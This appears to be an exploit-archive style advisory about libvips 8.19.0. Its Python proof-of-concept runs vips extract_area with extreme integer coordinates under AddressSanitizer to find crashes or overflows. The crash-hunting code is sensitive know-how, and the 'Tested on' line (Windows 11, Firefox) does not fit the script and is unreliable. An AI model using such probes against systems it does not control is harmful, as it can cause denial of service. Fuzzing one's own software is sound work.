=============================================================================================================================================
| # Title     : libvips 8.19.0 VIPS Image Extraction Crash & Security Audit                                                                 |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
| # Vendor    : https://www.libvips.org/                                                                                                    |
=============================================================================================================================================

[+] Summary    :  This Python script performs a comprehensive security and stability audit of the vips image processing binary. 
                  It tests the extract_area function using extreme int32 and uint32 values as well as normal ranges to detect crashes, memory corruption, or buffer overflows. 
				  The audit automates setup, executes multiple test scenarios, captures any crashes or sanitizer errors, reports detailed results, and cleans up temporary files.
                  It is designed to ensure robustness and memory safety of VIPS under edge-case inputs.

[+] POC   :  


import subprocess
import os
import signal
import time

class VipsFullAudit:
    def __init__(self, binary_path="./vips"):
        self.vips_bin = binary_path
        ts = int(time.time())
        self.in_file = f"audit_in_{ts}.v"
        self.out_file = f"audit_out_{ts}.v"
        self.results = []

    def setup(self):
        """Initialize the test environment with a balanced size to avoid RAM exhaustion"""
        print(f"[*] Initializing Audit on: {self.vips_bin}")

        if not os.path.exists(self.vips_bin) and not subprocess.run(["which", self.vips_bin], capture_output=True).returncode == 0:
            print("[-] Error: vips binary not found.")
            return False

        try:
            subprocess.run([self.vips_bin, "black", self.in_file, "10000", "10000"], 
                           capture_output=True, check=True)
            return True
        except Exception as e:
            print(f"[-] Setup failed (Disk space or Vips error): {e}")
            return False

    def probe(self, name, left, width):
        """Execute a test scenario with precise error handling"""
        env = os.environ.copy()
        env["ASAN_OPTIONS"] = "detect_leaks=0:abort_on_error=1:halt_on_error=1"
        
        cmd = [
            self.vips_bin, "--vips-max-coord", "4294967295", 
            "extract_area", self.in_file, self.out_file, 
            str(left), "0", str(width), "10"
        ]

        try:
            proc = subprocess.run(cmd, env=env, capture_output=True, text=True, timeout=15)
            ret_code = proc.returncode
            stderr = proc.stderr
        except subprocess.TimeoutExpired:
            ret_code = -999
            stderr = "Execution Timeout - Possible logic hang"
        except Exception as e:
            ret_code = -888
            stderr = str(e)

        is_crash = False
        crash_signals = [-signal.SIGSEGV, -signal.SIGABRT, 134, 139, 11]
        crash_keywords = ["addresssanitizer", "segv", "segmentation fault", "buffer-overflow"]

        if ret_code in crash_signals or ret_code < 0:
            is_crash = True
        if any(k in stderr.lower() for k in crash_keywords):
            is_crash = True

        verdict = " CRASH" if is_crash else "️ SAFE"
        self.results.append({
            "name": name,
            "status": verdict,
            "code": ret_code,
            "msg": stderr[:60].replace('\n', ' ')
        })

    def run_suite(self):
        """Covers all int32 and uint32 scenarios + normal values"""
        int32_cases = [
            ("INT32 Max", 2147483647, 100),
            ("INT32 Max-10", 2147483637, 100),
            ("INT32 Min", -2147483648, 100),
            ("INT32 Min+10", -2147483638, 100)
        ]
        uint32_cases = [
            ("UINT32 Max", 4294967295, 100),
            ("UINT32 Max-10", 4294967285, 100),
            ("UINT32 Zero", 0, 100),
            ("UINT32 Small", 50, 100)
        ]
        standard_cases = [
            ("Normal Range", 5000, 100),
            ("Small Area", 0, 10)
        ]

        for name, l, w in int32_cases + uint32_cases + standard_cases:
            self.probe(name, l, w)

    def cleanup(self):
        """Cleanup temporary files"""
        for f in [self.in_file, self.out_file]:
            if os.path.exists(f):
                try:
                    os.remove(f)
                except:
                    pass

    def report(self):
        """Detailed report for all scenarios"""
        print("\n" + "="*100)
        print(f"{'Scenario':<30} | {'Verdict':<10} | {'Code':<6} | {'Stderr Snippet'}")
        print("-" * 100)
        for r in self.results:
            print(f"{r['name']:<30} | {r['status']:<10} | {r['code']:<6} | {r['msg']}")
        print("="*100)

if __name__ == "__main__":
    audit = VipsFullAudit()
    try:
        if audit.setup():
            audit.run_suite()
            audit.report()
    finally:
        audit.cleanup()
		
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================